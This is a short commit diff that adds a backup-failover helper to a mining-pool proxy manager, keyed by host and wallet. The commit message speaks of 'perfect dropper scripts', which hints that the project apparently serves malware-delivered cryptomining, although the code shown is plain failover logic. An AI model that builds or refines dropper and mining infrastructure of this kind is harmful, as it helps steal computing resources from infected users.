fix: pool backup failover on reconnect, perfect dropper scripts, bcrypt password hashing

server/internal/pool/manager.go

@@ -46,6 +46,19 @@ func poolKey(cfg *Config) string {
 	return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
 }
 
+// EnsurePoolWithBackups is like EnsurePool but also registers backup configs
+// that the proxy will rotate through on reconnect.
+func (m *Manager) EnsurePoolWithBackups(cfg *Config, backups []Config) (*Proxy, error) {
+	p, err := m.EnsurePool(cfg)
+	if err != nil {
+		return nil, err
+	}
+	if len(backups) > 0 {
+		p.SetBackupConfigs(backups)
+	}
+	return p, nil
+}
+
 // EnsurePool returns a connected proxy for the forged pool settings, starting one if needed.
 func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) {
 	if cfg == nil || cfg.Host == "" {